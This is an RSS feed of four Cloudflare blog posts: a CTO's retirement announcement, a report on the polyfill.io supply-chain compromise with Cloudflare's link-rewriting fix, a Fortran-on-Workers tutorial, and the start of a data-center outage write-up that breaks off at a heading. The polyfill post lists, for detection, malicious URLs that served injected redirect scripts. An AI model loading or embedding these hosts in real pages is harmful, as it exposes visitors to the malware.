
<rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:media="http://search.yahoo.com/mrss/">
    <channel>
        <title><![CDATA[ The Cloudflare Blog ]]></title>
        <description><![CDATA[ Get the latest news on how products at Cloudflare are built, technologies used, and join the teams helping to build a better Internet. ]]></description>
        <link>https://blog.cloudflare.com</link>
        <atom:link href="https://blog.cloudflare.com/" rel="self" type="application/rss+xml"/>
        <language>en-us</language>
        <image>
            <url>https://blog.cloudflare.com/favicon.png</url>
            <title>The Cloudflare Blog</title>
            <link>https://blog.cloudflare.com</link>
        </image>
        <lastBuildDate>Wed, 15 Apr 2026 19:37:13 GMT</lastBuildDate>
        <item>
            <title><![CDATA[Three chapters at Cloudflare: Programmer to CTO to Board of Directors]]></title>
            <link>https://blog.cloudflare.com/three-chapters-at-cloudflare-programmer-to-cto-to-board-of-directors/</link>
            <pubDate>Thu, 27 Mar 2025 00:00:00 GMT</pubDate>
            <description><![CDATA[ Today, after more than 13 years at the company, I am joining Cloudflare’s board of directors and retiring from my full-time position as CTO.  ]]></description>
            <content:encoded><![CDATA[ <p></p><p>Today, after more than 13 years at the company, I am joining Cloudflare’s board of directors and retiring from my full-time position as CTO. </p><p>Back in 2012 I wrote a short post on my personal site simply titled: <a href="https://blog.jgc.org/2012/02/programmer.html"><u>Programmer</u></a>. The post announced that I’d recently joined a company called CloudFlare (still sporting that capital “F”) with the job title Programmer. I’d chosen that title in part because it was the very first title I’d ever had, and because it would reflect what I’d be doing at Cloudflare.</p><p>I had spent a lot of time working at startups—in technical and then management roles—and wanted to go back to the really technical part that I loved most. Cloudflare gave me that opportunity, and I worked on a lot of systems that make up the Cloudflare that so many people around the world use today.</p><p>Looking back on my time at the company it’s really, really hard to pick my top highlights. In 2019 <a href="https://blog.cloudflare.com/helping-to-build-cloudflare-part-1/"><u>I wrote 6,000 words on the experience of helping build Cloudflare</u></a>. But here are five that stand out:</p>
    <div>
      <h3>Always be shipping</h3>
      <a href="#always-be-shipping">
        
      </a>
    </div>
    <p>The night we finished the preparation to launch <a href="https://blog.cloudflare.com/introducing-universal-ssl/"><u>Universal SSL</u></a> sticks in my memory. We set out to offer the Industry's First Universal SSL for free, effectively doubling the size of the encrypted web overnight, a big deal in 2014. I remember Cloudflare’s third co-founder, Lee Holloway, hunched over his laptop finishing the code. The team has been working on it all weekend, and late that Sunday night Lee announced “it’s done.” </p>
    <div>
      <h3>Handling adversity</h3>
      <a href="#handling-adversity">
        
      </a>
    </div>
    <p>It’s easy to pick moments of great success or when things went really well and <a href="https://blog.cloudflare.com/helping-to-build-cloudflare-part-2/"><u>Cloudbleed in 2017</u></a> may not seem like a special moment, but it helped show who we were. It showed how a team could come together under intense stress, and how we could set the standard going forward for how companies disclose and talk about security problems. I personally discovered that a Google Meet call can be kept running for 24 hours and sleeping in two hour chunks is possible.</p>
    <div>
      <h3>Being international and intentional</h3>
      <a href="#being-international-and-intentional">
        
      </a>
    </div>
    <p>Originally from the UK, I was the first team member located outside the United States. I got to help build the largest offices outside the US: first, Cloudflare’s London office and then Cloudflare’s <a href="https://blog.cloudflare.com/cloudflare-lisbon-office/"><u>Lisbon office</u></a>. These two offices are a big part of who we are today, with Lisbon being our European HQ.</p><p>When COVID halted our in-office work, I was blown away by the response from the team. As we all individually faced different difficulties because of the pandemic we continued to work together to ensure that the Internet, on which everyone was relying while confined at home, worked reliably and securely.</p>
    <div>
      <h3>Truly impactful technology</h3>
      <a href="#truly-impactful-technology">
        
      </a>
    </div>
    <p>Picking a favourite product would be a bit like asking someone to choose their favourite child, but I have soft spots for Cloudflare’s WAF, DNS, and DDoS solutions because I personally worked on those systems. And I still feel I need to apologize to the WAF team who took over my code and had to face that one Perl script that shall not be named!</p><p>Beyond the products there’s something much deeper: Cloudflare’s mission to help build a better Internet. I’ve been very proud of how we have supported and advanced the Internet itself through our work on the latest standards and protocols. And I’m even prouder of the role we’ve played through Project Galileo, The Athenian Project, and Cloudflare for Campaigns.</p>
    <div>
      <h3>The people</h3>
      <a href="#the-people">
        
      </a>
    </div>
    <p>Every week Cloudflare holds an all-hands company meeting which ends with “Shoutouts,” a chance to recognize members of the team who have gone above and beyond. Curiosity and empathy are two core values at Cloudflare, and I am struck every week by how often we’re recognizing teams of people who are being thanked for helping with a sale, fixing a bug, responding to an incident, or helping build Cloudflare. That team spirit is part of what makes Cloudflare a special place to work.</p><p>One of the things I will miss about not being at Cloudflare day-to-day is the incredible strength of the individual team members. I’ve been learning from them for 13 years straight!</p>
    <div>
      <h3>What’s next</h3>
      <a href="#whats-next">
        
      </a>
    </div>
    <p>When I joined the company the team was a lot smaller! We were 25 people and now, we’ve grown to more than 4,200 employees and 15 locations across the globe. As we grew I wore a lot of different hats. For a time I ran engineering, operations, security, and even IT. And, of course, I wrote for, and edited, the Cloudflare Blog for many, many years. Over time, we hired many great leaders to run those teams.</p><p>But the role that persisted was CTO. And today, we are announcing that, just as I gave up the title Programmer (and the programming that went along with it), I am giving up the title CTO (and the role’s responsibilities) for a new way to help Cloudflare grow and succeed, as a member of the board of directors.</p><p>Last year when I told Matthew that I planned to retire, I had not expected to be offered a seat on the company’s board. It’s an incredible and rare honour to go from being an employee of the company (albeit one who has been there from close to the beginning) to joining the board of directors. I am absolutely thrilled to be able to continue helping Cloudflare grow and succeed from a slightly different vantage point.</p><p>At the same time, Dane Knecht, who, until today, was SVP of Emerging Technology and Incubation, has become our CTO. Dane joined just a few months after me, and is uniquely positioned and experienced to take the CTO role. We’ve worked so closely for the last 13 years as peers, that in many meetings it would’ve been hard to distinguish our roles. I’m pretty sure that Dane bleeds Cloudflare orange, and I’ve never seen him wear a T-shirt that doesn’t say Cloudflare on it. He has been part of nearly every major milestone here at Cloudflare. He cares so deeply about the company, and its success; he will make a great CTO.</p><p>My plan isn’t to go off and work somewhere else, or start a new company. I intend to remain closely involved with Cloudflare in my role on the board. I am incredibly honoured, and grateful to have been part of Cloudflare’s incredible growth and success, and I am looking forward to helping the company continue its growth.</p><p>One area I’m particularly interested in assisting with is the company’s work across the product suite on AI. Back in 2002 (23 years ago! gulp!). I wrote a very popular open source machine learning (didn’t call it AI back then) <a href="https://en.wikipedia.org/wiki/POPFile"><u>email filtering program</u></a> and in 2004 worked on how to deal with what happens when <a href="https://blog.jgc.org/2023/07/how-to-beat-adaptivebayesian-spam.html"><u>one AI system is used to attack another</u></a>. At Cloudflare, we’ve used learning techniques to enhance security, block bots, and predict how our systems should behave and grow. There’s much more to do.</p><p>Just as co-founder <a href="https://blog.cloudflare.com/author/michelle-zatlyn/"><u>Michelle</u></a> likes to say: we’re just getting started. And so am I.</p> ]]></content:encoded>
            <category><![CDATA[Life at Cloudflare]]></category>
            <guid isPermaLink="false">4KZNfa2772az1gUrIw1zpu</guid>
            <dc:creator>John Graham-Cumming</dc:creator>
        </item>
        <item>
            <title><![CDATA[Automatically replacing polyfill.io links with Cloudflare’s mirror for a safer Internet]]></title>
            <link>https://blog.cloudflare.com/automatically-replacing-polyfill-io-links-with-cloudflares-mirror-for-a-safer-internet/</link>
            <pubDate>Wed, 26 Jun 2024 20:23:41 GMT</pubDate>
            <description><![CDATA[ polyfill.io, a popular JavaScript library service, can no longer be trusted and should be removed from websites ]]></description>
            <content:encoded><![CDATA[ <p></p><p>polyfill.io, a popular JavaScript library service, can no longer be trusted and should be removed from websites.</p><p><a href="https://sansec.io/research/polyfill-supply-chain-attack">Multiple reports</a>, corroborated with data seen by our own client-side security system, <a href="https://developers.cloudflare.com/page-shield/">Page Shield</a>, have shown that the polyfill service was being used, and could be used again, to inject malicious JavaScript code into users’ browsers. This is a real threat to the Internet at large given the popularity of this library.</p><p>We have, over the last 24 hours, released an automatic JavaScript URL rewriting service that will rewrite any link to polyfill.io found in a website proxied by Cloudflare <a href="https://cdnjs.cloudflare.com/polyfill/">to a link to our mirror under cdnjs</a>. This will avoid breaking site functionality while mitigating the risk of a supply chain attack.</p><p>Any website on the free plan has this feature automatically activated now. Websites on any paid plan can turn on this feature with a single click.</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/5R0ht5q4fAwm8gm3a2Xe5U/6b3ec28498e76ff75e37b58f3673e49a/image1-22.png" />
            
            </figure><p>You can find this new feature under <a href="https://dash.cloudflare.com/?to=/:account/:zone/security/settings">Security ⇒ Settings</a> on any zone using Cloudflare.</p><p>Contrary to what is stated on the polyfill.io website, Cloudflare has never recommended the polyfill.io service or authorized their use of Cloudflare’s name on their website. We have asked them to remove the false statement, and they have, so far, ignored our requests. This is yet another warning sign that they cannot be trusted.</p><p>If you are not using Cloudflare today, we still highly recommend that you remove any use of polyfill.io and/or find an alternative solution. And, while the automatic replacement function will handle most cases, the best practice is to remove polyfill.io from your projects and replace it with a secure alternative mirror like Cloudflare’s even if you are a customer.</p><p>You can do this by searching your code repositories for instances of polyfill.io and replacing it with <a href="https://cdnjs.cloudflare.com/polyfill/">cdnjs.cloudflare.com/polyfill/</a> (Cloudflare’s mirror). This is a non-breaking change as the two URLs will serve the same polyfill content. All website owners, regardless of the website using Cloudflare, should do this now.</p>
    <div>
      <h2>How we came to this decision</h2>
      <a href="#how-we-came-to-this-decision">
        
      </a>
    </div>
    <p>Back in February, the domain polyfill.io, which hosts a popular JavaScript library, was sold to a new owner: Funnull, a relatively unknown company. <a href="/polyfill-io-now-available-on-cdnjs-reduce-your-supply-chain-risk">At the time, we were concerned</a> that this created a supply chain risk. This led us to spin up our own mirror of the polyfill.io code hosted under cdnjs, a JavaScript library repository sponsored by Cloudflare.</p><p>The new owner was unknown in the industry and did not have a track record of trust to administer a project such as polyfill.io. The concern, <a href="https://x.com/triblondon/status/1761852117579427975">highlighted even by the original author</a>, was that if they were to abuse polyfill.io by injecting additional code to the library, it could cause far-reaching security problems on the Internet affecting several hundreds of thousands websites. Or it could be used to perform a targeted supply-chain attack against specific websites.</p><p>Unfortunately, that worry came true on June 25, 2024, as the polyfill.io service was being used to inject nefarious code that, under certain circumstances, redirected users to other websites.</p><p>We have taken the exceptional step of using our ability to modify HTML on the fly to replace references to the polyfill.io CDN in our customers’ websites with links to our own, safe, mirror created back in February.</p><p>In the meantime, additional threat feed providers have also taken the decision to <a href="https://github.com/uBlockOrigin/uAssets/commit/91dfc54aed0f0aa514c1a481c3e63ea16da94c03">flag the domain as malicious</a>. We have not outright blocked the domain through any of the mechanisms we have because we are concerned it could cause widespread web outages given how broadly polyfill.io is used with some estimates indicating <a href="https://w3techs.com/technologies/details/js-polyfillio">usage on nearly 4% of all websites</a>.</p>
    <div>
      <h3>Corroborating data with Page Shield</h3>
      <a href="#corroborating-data-with-page-shield">
        
      </a>
    </div>
    <p>The original report indicates that malicious code was injected that, under certain circumstances, would redirect users to betting sites. It was doing this by loading additional JavaScript that would perform the redirect, under a set of additional domains which can be considered Indicators of Compromise (IoCs):</p>
            <pre><code>https://www.googie-anaiytics.com/analytics.js
https://www.googie-anaiytics.com/html/checkcachehw.js
https://www.googie-anaiytics.com/gtags.js
https://www.googie-anaiytics.com/keywords/vn-keyword.json
https://www.googie-anaiytics.com/webs-1.0.1.js
https://www.googie-anaiytics.com/analytics.js
https://www.googie-anaiytics.com/webs-1.0.2.js
https://www.googie-anaiytics.com/ga.js
https://www.googie-anaiytics.com/web-1.0.1.js
https://www.googie-anaiytics.com/web.js
https://www.googie-anaiytics.com/collect.js
https://kuurza.com/redirect?from=bitget</code></pre>
            <p>(note the intentional misspelling of Google Analytics)</p><p>Page Shield, our client side security solution, is available on all paid plans. When turned on, it collects information about JavaScript files loaded by end user browsers accessing your website.</p><p>By looking at the database of detected JavaScript files, we immediately found matches with the IoCs provided above starting as far back as 2024-06-08 15:23:51 (first seen timestamp on Page Shield detected JavaScript file). This was a clear indication that malicious activity was active and associated with polyfill.io.</p>
    <div>
      <h3>Replacing insecure JavaScript links to polyfill.io</h3>
      <a href="#replacing-insecure-javascript-links-to-polyfill-io">
        
      </a>
    </div>
    <p>To achieve performant HTML rewriting, we need to make blazing-fast HTML alterations as responses stream through Cloudflare’s network. This has been made possible by leveraging <a href="/rust-nginx-module">ROFL (Response Overseer for FL)</a>. ROFL powers various Cloudflare products that need to alter HTML as it streams, such as <a href="https://developers.cloudflare.com/speed/optimization/content/fonts/">Cloudflare Fonts,</a> <a href="https://developers.cloudflare.com/waf/tools/scrape-shield/email-address-obfuscation/">Email Obfuscation</a> and <a href="https://developers.cloudflare.com/speed/optimization/content/rocket-loader/">Rocket Loader</a></p><p>ROFL is developed entirely in Rust. The memory-safety features of Rust are indispensable for ensuring protection against memory leaks while processing a staggering volume of requests, measuring in the millions per second. Rust's compiled nature allows us to finely optimize our code for specific hardware configurations, delivering performance gains compared to interpreted languages.</p><p>The performance of ROFL allows us to rewrite HTML on-the-fly and modify the polyfill.io links quickly, safely, and efficiently. This speed helps us reduce any additional latency added by processing the HTML file.</p><p>If the feature is turned on, for any HTTP response with an HTML Content-Type, we parse all JavaScript script tag source attributes. If any are found linking to polyfill.io, we rewrite the src attribute to link to our mirror instead. We map to the correct version of the polyfill service while the query string is left untouched.</p><p>The logic will not activate if a Content Security Policy (CSP) header is found in the response. This ensures we don’t replace the link while breaking the CSP policy and therefore potentially breaking the website.</p>
    <div>
      <h3>Default on for free customers, optional for everyone else</h3>
      <a href="#default-on-for-free-customers-optional-for-everyone-else">
        
      </a>
    </div>
    <p>Cloudflare proxies millions of websites, and a large portion of these sites are on our free plan. Free plan customers tend to have simpler applications while not having the resources to update and react quickly to security concerns. We therefore decided to turn on the feature by default for sites on our free plan, as the likelihood of causing issues is reduced while also helping keep safe a very large portion of applications using polyfill.io.</p><p>Paid plan customers, on the other hand, have more complex applications and react quicker to security notices. We are confident that most paid customers using polyfill.io and Cloudflare will appreciate the ability to virtually patch the issue with a single click, while controlling when to do so.</p><p>All customers can turn off the feature at any time.</p><p>This isn’t the first time we’ve decided a security problem was so widespread and serious that we’d enable protection for all customers regardless of whether they were a paying customer or not. Back in 2014, we enabled <a href="/shellshock-protection-enabled-for-all-customers">Shellshock protection</a> for everyone. In 2021, when the log4j vulnerability was disclosed <a href="/cve-2021-44228-log4j-rce-0-day-mitigation/">we rolled out protection</a> for all customers.</p>
    <div>
      <h2>Do not use polyfill.io</h2>
      <a href="#do-not-use-polyfill-io">
        
      </a>
    </div>
    <p>If you are using Cloudflare, you can remove polyfill.io with a single click on the Cloudflare dashboard by heading over to <a href="https://dash.cloudflare.com/?to=/:account/:zone/security/settings">your zone ⇒ Security ⇒ Settings</a>. If you are a free customer, the rewrite is automatically active. This feature, we hope, will help you quickly patch the issue.</p><p>Nonetheless, you should ultimately search your code repositories for instances of polyfill.io and replace them with an alternative provider, such as Cloudflare’s secure mirror under cdnjs (<a href="https://cdnjs.cloudflare.com/polyfill/">https://cdnjs.cloudflare.com/polyfill/</a>). Website owners who are not using Cloudflare should also perform these steps.</p><p>The underlying bundle links you should use are:</p><p>For minified: <a href="https://cdnjs.cloudflare.com/polyfill/v3/polyfill.min.js">https://cdnjs.cloudflare.com/polyfill/v3/polyfill.min.js</a>
For unminified: <a href="https://cdnjs.cloudflare.com/polyfill/v3/polyfill.js">https://cdnjs.cloudflare.com/polyfill/v3/polyfill.js</a></p><p>Doing this ensures your website is no longer relying on polyfill.io.</p> ]]></content:encoded>
            <category><![CDATA[CDNJS]]></category>
            <category><![CDATA[JavaScript]]></category>
            <category><![CDATA[Vulnerabilities]]></category>
            <category><![CDATA[Application Security]]></category>
            <category><![CDATA[Application Services]]></category>
            <category><![CDATA[Supply Chain Attacks]]></category>
            <category><![CDATA[Attacks]]></category>
            <category><![CDATA[Better Internet]]></category>
            <guid isPermaLink="false">3NHy1gOkql57RbBcdjWs5g</guid>
            <dc:creator>Matthew Prince</dc:creator>
            <dc:creator>John Graham-Cumming</dc:creator>
            <dc:creator>Michael Tremante</dc:creator>
        </item>
        <item>
            <title><![CDATA[Using Fortran on Cloudflare Workers]]></title>
            <link>https://blog.cloudflare.com/using-fortran-on-cloudflare-workers/</link>
            <pubDate>Tue, 07 May 2024 13:00:00 GMT</pubDate>
            <description><![CDATA[ Work on LLVM has enabled Fortran to compile to WebAssembly. So, today, we’re writing about running Fortran code on Cloudflare Workers ]]></description>
            <content:encoded><![CDATA[ <p></p><p>In April 2020, we blogged about how to get <a href="/cloudflare-workers-now-support-cobol">COBOL running on Cloudflare Workers</a> by compiling to WebAssembly. The ecosystem around WebAssembly has grown significantly since then, and it has become a solid foundation for all types of projects, be they client-side or server-side.</p><p>As WebAssembly support has grown, more and more languages are able to compile to WebAssembly for execution on servers and in browsers. As Cloudflare Workers uses the V8 engine and supports WebAssembly natively, we’re able to support languages that compile to WebAssembly on the platform.</p><p>Recently, work on LLVM has enabled Fortran to compile to WebAssembly. So, today, we’re writing about running Fortran code on Cloudflare Workers.</p><p>Before we dive into how to do this, here’s a little demonstration of number recognition in Fortran. Draw a number from 0 to 9 and Fortran code running somewhere on Cloudflare’s network will predict the number you drew.</p><p>This is taken from the wonderful <a href="https://gws.phd/posts/fortran_wasm/">Fortran on WebAssembly</a> post but instead of running client-side, the Fortran code is running on Cloudflare Workers. Read on to find out how you can use Fortran on Cloudflare Workers and how that demonstration works.</p>
    <div>
      <h3>Wait, Fortran? No one uses that!</h3>
      <a href="#wait-fortran-no-one-uses-that">
        
      </a>
    </div>
    <p>Not so fast! Or rather, actually pretty darn fast if you’re doing a lot of numerical programming or have scientific data to work with. Fortran <a href="https://en.wikipedia.org/wiki/Fortran#Naming">(originally FORmula TRANslator)</a> is very well suited for scientific workloads because of its native functionality for things like arithmetic and handling large arrays and matrices.</p><p>If you look at the <a href="https://en.wikipedia.org/wiki/TOP500">ranking</a> of the fastest supercomputers in the world you’ll discover that the measurement of “fast” is based on these supercomputers running a piece of software called <a href="https://en.wikipedia.org/wiki/LINPACK">LINPACK</a> that was originally written in Fortran. LINPACK is designed to help with problems solvable using linear algebra.</p><p>The <a href="https://en.wikipedia.org/wiki/LINPACK_benchmarks">LINPACK benchmarks</a> use LINPACK to solve an n x n system of linear equations using matrix operations and, in doing so, determine how fast supercomputers are. The code is available in <a href="https://www.netlib.org/benchmark/linpackd">Fortran</a>, <a href="https://www.netlib.org/benchmark/linpackc">C</a> and <a href="https://www.netlib.org/benchmark/linpackjava/">Java</a>.</p><p>A related Fortran package, <a href="https://www.netlib.org/blas/">BLAS</a>, also does linear algebra and forms the basis of the number identifying code above. But other Fortran packages are still relevant. Back in 2017, NASA ran a <a href="https://www.bbc.com/news/technology-39803425">competition</a> to make FUN3D (used to perform calculations of airflow over simulated aircraft). <a href="https://fun3d.larc.nasa.gov/">FUN3D</a> is written in Fortran.</p><p>So, although Fortran (or at the time FORTRAN) first came to life in 1957, it’s alive and well and being used widely for scientific applications (there’s even <a href="https://developer.nvidia.com/cuda-fortran">Fortran for CUDA</a>). One particular application left Earth 20 years after Fortran was born: Voyager. The Voyager probes use a combination of <a href="https://www.popularmechanics.com/space/a17991/voyager-1-voyager-2-retiring-engineer/">assembly language and Fortran</a> to keep chugging along.</p><p>But back in our solar system, and back on Region: Earth, you can now use Fortran on Cloudflare Workers. Here’s how.</p>
    <div>
      <h3>How to get your Fortran code running on Cloudflare Workers</h3>
      <a href="#how-to-get-your-fortran-code-running-on-cloudflare-workers">
        
      </a>
    </div>
    <p>To make it easy to run your Fortran code on Cloudflare Workers, we created a tool called <a href="https://github.com/cloudflare/fortiche">Fortiche</a> (translates to smart in French). It uses <a href="https://flang.llvm.org/docs/">Flang</a> and <a href="https://emscripten.org">Emscripten</a> under the hood.</p><p><a href="https://flang.llvm.org/docs/">Flang</a> is a frontend in <a href="https://en.wikipedia.org/wiki/LLVM">LLVM</a> and, if you read the <a href="https://gws.phd/posts/fortran_wasm/">Fortran on WebAssembly</a> blog post, we currently have to patch <a href="https://en.wikipedia.org/wiki/LLVM">LLVM</a> to work around a few issues.</p><p><a href="https://emscripten.org">Emscripten</a> is used to compile <a href="https://en.wikipedia.org/wiki/LLVM">LLVM</a> output and produce code that is compatible with Cloudflare Workers.</p><p>This is all packaged in the <a href="https://github.com/cloudflare/fortiche">Fortiche</a> Docker image. Let’s see a simple example.</p><p>add.f90:</p>
            <pre><code>SUBROUTINE add(a, b, res)
    INTEGER, INTENT(IN) :: a, b
    INTEGER, INTENT(OUT) :: res

    res = a + b
END</code></pre>
            <p>Here we defined a subroutine called add that takes <code>a</code> and <code>b</code>, sums them together and places the result in <code>res</code>.</p><p>Compile with <a href="https://github.com/cloudflare/fortiche">Fortiche</a>:</p>
            <pre><code>docker run -v $PWD:/input -v $PWD/output:/output xtuc/fortiche --export-func=add add.f90</code></pre>
            <p>Passing <code>--export-func=add</code> to <a href="https://github.com/cloudflare/fortiche">Fortiche</a> makes the Fortran <code>add</code> subroutine available to JavaScript.</p><p>The output folder contains the compiled WebAssembly module and JavaScript from <a href="https://emscripten.org">Emscripten</a>, and a JavaScript endpoint generated by <a href="https://github.com/cloudflare/fortiche">Fortiche</a>:</p>
            <pre><code>$ ls -lh ./output
total 84K
-rw-r--r-- 1 root root 392 avril 22 12:00 index.mjs
-rw-r--r-- 1 root root 27K avril 22 12:00 out.mjs
-rwxr-xr-x 1 root root 49K avril 22 12:00 out.wasm</code></pre>
            <p>And finally the Cloudflare Worker:</p>
            <pre><code>// Import what Fortiche generated
import {load} from "../output/index.mjs"

export default {
    async fetch(request: Request): Promise&lt;Response&gt; {
        // Load the Fortran program
        const program = await load();

        // Allocate space in memory for the arguments and result
        const aPtr = program.malloc(4);
        const bPtr = program.malloc(4);
        const outPtr = program.malloc(4);

        // Set argument values
        program.HEAP32[aPtr / 4] = 123;
        program.HEAP32[bPtr / 4] = 321;

        // Run the Fortran add subroutine
        program.add(aPtr, bPtr, outPtr);

        // Read the result
        const res = program.HEAP32[outPtr / 4];

        // Free everything
        program.free(aPtr);
        program.free(bPtr);
        program.free(outPtr);

        return Response.json({ res });
    },
};</code></pre>
            <p>Interestingly, the values we pass to Fortran are all pointers, therefore we have to allocate space for each argument and result (the Fortran integer type is four bytes wide), and pass the pointers to the <code>add</code> subroutine.</p><p>Running the Worker gives us the right answer:</p>
            <pre><code>$ curl https://fortran-add.cfdemos.workers.dev

{"res":444}</code></pre>
            <p>You can find the <a href="https://github.com/cloudflare/fortiche/tree/main/examples/add">full example here</a>.</p>
    <div>
      <h3>Handwritten digit classifier</h3>
      <a href="#handwritten-digit-classifier">
        
      </a>
    </div>
    
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/4PKFBCv6bCWa20pqrFTEnV/58813ef64d5d8a8aa728ba4bcfde6840/image1-2.png" />
            
            </figure><p>This example is taken from <a href="https://gws.phd/posts/fortran_wasm/#mnist">https://gws.phd/posts/fortran_wasm/#mnist</a>. It relies on the <a href="https://www.netlib.org/blas/">BLAS</a> library, which is available in Fortiche with the flag: <code>--with-BLAS-3-12-0</code>.</p><p>Note that the <a href="https://en.wikipedia.org/wiki/LAPACK">LAPACK</a> library is also available in <a href="https://github.com/cloudflare/fortiche">Fortiche</a> with the flag: <code>--with-LAPACK-3-12-0</code>.</p><p>You can try it below:</p><p>And you can access the <a href="https://github.com/cloudflare/fortiche/tree/main/examples/handwritten-digit-classifier">source code here</a>.</p><p>Let us know what you write using Fortran and Cloudflare Workers!</p><p><code>END</code></p> ]]></content:encoded>
            <category><![CDATA[Fortran]]></category>
            <category><![CDATA[Developer Platform]]></category>
            <category><![CDATA[Developers]]></category>
            <category><![CDATA[Cloudflare Workers]]></category>
            <guid isPermaLink="false">4iGQQWfQlU6k8DiQ5ZO900</guid>
            <dc:creator>John Graham-Cumming</dc:creator>
            <dc:creator>Sven Sauleau</dc:creator>
        </item>
        <item>
            <title><![CDATA[Major data center power failure (again): Cloudflare Code Orange tested]]></title>
            <link>https://blog.cloudflare.com/major-data-center-power-failure-again-cloudflare-code-orange-tested/</link>
            <pubDate>Mon, 08 Apr 2024 13:00:15 GMT</pubDate>
            <description><![CDATA[ Just four months after a complete power outage at a critical data center we were hit with the exact same scenario.  Here’s how we did this time, and what’s next ]]></description>
            <content:encoded><![CDATA[ <p></p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/4fn80cCKCVWYn0XOOh3eX2/e23f4144cdb106dc80bd3b8a27f27254/image3-11.png" />
            
            </figure><p>Here's a post we never thought we'd need to write: less than five months after one of our major data centers lost power, it happened again to the exact same data center. That sucks and, if you're thinking "why do they keep using this facility??," I don't blame you. We're thinking the same thing. But, here's the thing, while a lot may not have changed at the data center, a lot changed over those five months at Cloudflare. So, while five months ago a major data center going offline was really painful, this time it was much less so.</p><p>This is a little bit about how a high availability data center lost power for the second time in five months. But, more so, it's the story of how our team worked to ensure that even if one of our critical data centers lost power it wouldn't impact our customers.</p><p>On November 2, 2023, one of our critical facilities in the Portland, Oregon region lost power for an extended period of time. It happened because of a cascading series of faults that appears to have been caused by maintenance by the electrical grid provider, climaxing with a ground fault at the facility, and was made worse by a series of unfortunate incidents that prevented the facility from getting back online in a timely fashion.</p><p>If you want to read all the gory details, they're available <a href="/post-mortem-on-cloudflare-control-plane-and-analytics-outage/">here</a>.</p><p>It's painful whenever a data center has a complete loss of power, but it's something that we were supposed to expect. Unfortunately, in spite of that expectation, we hadn't enforced a number of requirements on our products that would ensure they continued running in spite of a major failure.</p><p>That was a mistake we were never going to allow to happen again.</p>
    <div>
      <h3>Code Orange</h3>
      <a href="#code-orange">
        
      </a>
    </div>
    <p>The incident was painful enough that we declared what we called Code Orange. We borrowed the idea from Google which, when they have an existential threat to their business, reportedly declares a Code Yellow or Code Red. Our logo is orange, so we altered the formula a bit.</p><p>Our conception of Code Orange was that the person who led the incident, in this case our SVP of Technical Operations, Jeremy Hartman, would be empowered to charge any engineer on our team to work on what he deemed the highest priority project. (Unless we declared a Code Red, which we actually ended up doing due to a hacking incident, and which would then take even higher priority. If you're interested, you can read more about that <a href="/thanksgiving-2023-security-incident/">here</a>.)</p><p>After getting through the immediate incident, Jeremy quickly triaged the most important work that needed to be done in order to ensure we'd be highly available even in the case of another catastrophic failure of a major data center facility. And the team got to work.</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/4Q7F31g2w6xPxdlq39dpDW/ad9a106fed84e8fcd728e165bfd2767a/image2-15.png" />
            
            </figure>
    <div>
      <h3>How'd we do?</h3>
      <a href="#howd-we-do">
        
      </a>
    </div>
    <p>We didn’t expect such an extensive real-world test so quickly, but the universe works in mysterious ways. On Tuesday, March 26, 2024, — just shy of five months after the initial incident — the same facility had another major power outage. Below, we'll get into what caused the outage this time, but what is most important is that it provided a perfect test for the work our team had done under Code Orange. So, what were the results?</p><p>First, let’s revisit what functions the Portland data centers at Cloudflare provide. As described in the November 2, 2023, <a href="/post-mortem-on-cloudflare-control-plane-and-analytics-outage/">post</a>, the control plane of Cloudflare primarily consists of the customer-facing interface for all of our services including our website and API. Additionally, the underlying services that provide the Analytics and Logging pipelines are primarily served from these facilities.</p><p>Just like in November 2023, we were alerted immediately that we had lost connectivity to our PDX01 data center. Unlike in November, we very quickly knew with certainty that we had once again lost all power, putting us in the exact same situation as five months prior. We also knew, based on a successful internal cut test in February, how our systems should react. We had spent months preparing, updating countless systems and activating huge amounts of network and server capacity, culminating with a test to prove the work was having the intended effect, which in this case was an automatic failover to the redundant facilities.</p><p>Our Control Plane consists of hundreds of internal services, and the expectation is that when we lose one of the three critical data centers in Portland, these services continue to operate normally in the remaining two facilities, and we continue to operate primarily in Portland. We have the capability to fail over to our European data centers in case our Portland centers are completely unavailable. However, that is a secondary option, and not something we pursue immediately.</p><p>On March 26, 2024, at 14:58 UTC, PDX01 lost power and our systems began to react. By 15:05 UTC, our APIs and Dashboards were operating normally, all without human intervention. Our primary focus over the past few months has been to make sure that our customers would still be able to configure and operate their Cloudflare services in case of a similar outage. There were a few specific services that required human intervention and therefore took a bit longer to recover, however the primary interface mechanism was operating as expected.</p><p>To put a finer point on this, during the November 2, 2023, incident the following services had at least six hours of control plane downtime, with several of them functionally degraded for days.</p><ul><li><p>API and Dashboard</p></li><li><p>Zero Trust</p></li><li><p>Magic Transit</p></li><li><p>SSL</p></li><li><p>SSL for SaaS</p></li><li><p>Workers</p></li><li><p>KV</p></li><li><p>Waiting Room</p></li><li><p>Load Balancing</p></li><li><p>Zero Trust Gateway</p></li><li><p>Access</p></li><li><p>Pages</p></li><li><p>Stream</p></li><li><p>Images</p></li></ul><p>During the March 26, 2024, incident, all of these services were up and running within minutes of the power failure, and many of them did not experience any impact at all during the failover.</p><p>The data plane, which handles the traffic that Cloudflare customers pass through our data centers in over 300 cities worldwide, was not impacted.</p><p>Our Analytics platform, which provides a view into customer traffic, was impacted and wasn’t fully restored until later that day. This was expected behavior as the Analytics platform is reliant on the PDX01 data center. Just like the Control Plane work, we began building new Analytics capacity immediately after the November 2, 2023, incident. However, the scale of the work requires that it will take a bit more time to complete. We have been working as fast as we can to remove this dependency, and we expect to complete this work in the near future.</p><p>Once we had validated the functionality of our Control Plane services, we were faced yet again with the cold start of a very large data center. This activity took roughly 72 hours in November 2023, but this time around we were able to complete this in roughly 10 hours. There is still work to be done to make that even faster in the future, and we will continue to refine our procedures in case we have a similar incident in the future.</p>
            <figure>
            
            <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/7cu18EGvfdwXuXIr81qHN8/eaa05db6a5944d0270ed685ce558b070/Incident-inspection.png" />
            
            </figure>
    <div>
      <h3>How did we get here?</h3>
      <a href="#how-did-we-get-here">
        
      </a>
    </div>
